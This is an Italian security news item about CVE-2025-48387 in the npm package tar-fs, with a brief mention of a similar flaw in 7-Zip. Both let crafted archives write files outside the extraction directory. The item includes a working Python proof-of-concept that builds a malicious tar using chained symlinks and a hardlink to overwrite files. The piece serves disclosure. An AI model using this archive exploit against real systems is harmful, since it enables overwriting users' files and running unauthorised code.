Nel pacchetto NPM tar-fs è stata identificata una vulnerabilità (CVE-2025-48387) che consente, durante l'estrazione di un archivio tar appositamente formattato, di scrivere file in qualsiasi parte del file system, senza limitazioni alla directory in cui viene effettuata l'estrazione (fino a dove consentono i diritti di accesso dell'utente corrente). La vulnerabilità può anche essere sfruttata per sovrascrivere file esistenti, ad esempio, per eseguire codice non autorizzato nel sistema, potrebbero essere sovrascritti file come «.ssh/id_rsa» o «.bashrc» nella home del'utente.
La questione è stata classificata con livello di rischio critico, considerando che il pacchetto tar-fs ha 23 milioni di download settimanali ed è utilizzato come dipendenza in 1155 progetti. La vulnerabilità è stata risolta nelle versioni 3.0.9, 2.1.3 e 1.16.5, rilasciate a maggio, ma le informazioni sulla vulnerabilità sono state divulgate solo quasi tre mesi dopo.
La vulnerabilità è causata da controlli insufficienti sulle link simboliche e rigide presenti nell'archivio per verificare se escano dalla directory di destinazione per l'estrazione. Per aggirare i controlli vengono utilizzate due link simboliche: il primo punta alla directory radice dell'estrazione dell'archivio («.»), mentre il secondo viene creato relativo al primo link simbolico e utilizza nel nome i caratteri «../» per uscire dalla directory base. Ad esempio, il primo link «noop/noop/noop» punta a «.», mentre il secondo «noop/noop/noop/../../../..» si espande in «./../../../..». Per organizzare la sovrascrittura dei file, può essere creata una link rigida che punta a un file esterno relativo al secondo link simbolico. import tarfile import io with tarfile.open(«poc.tar», mode=»x») as tar: root = tarfile.TarInfo(«root») root.linkname = («noop/» * 15) + («../» * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo(«noop») noop.linkname = «.» noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo(«hardflag») hard.linkname = «root/home/username/flag/flag» hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b»overwrite\n» overwrite = tarfile.TarInfo(«hardflag») overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b»new!\n» newfile = tarfile.TarInfo(«root/home/username/flag/newfile») newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))
Una vulnerabilità simile (CVE-2025-55188) è stata identificata nell'archiviatore 7-Zip. Per scrivere file al di fuori della directory principale in 7-Zip, possono essere utilizzate anche le link simboliche che contengono la sequenza «..\/» nel percorso del file. Il problema può essere sfruttato durante l'estrazione di qualsiasi archive supportato da 7-Zip che supporti i link simbolici, come zip, tar, 7z e rar. Il problema è stato risolto nella versione 7-Zip 25.01.
Fonte: opennet.ru
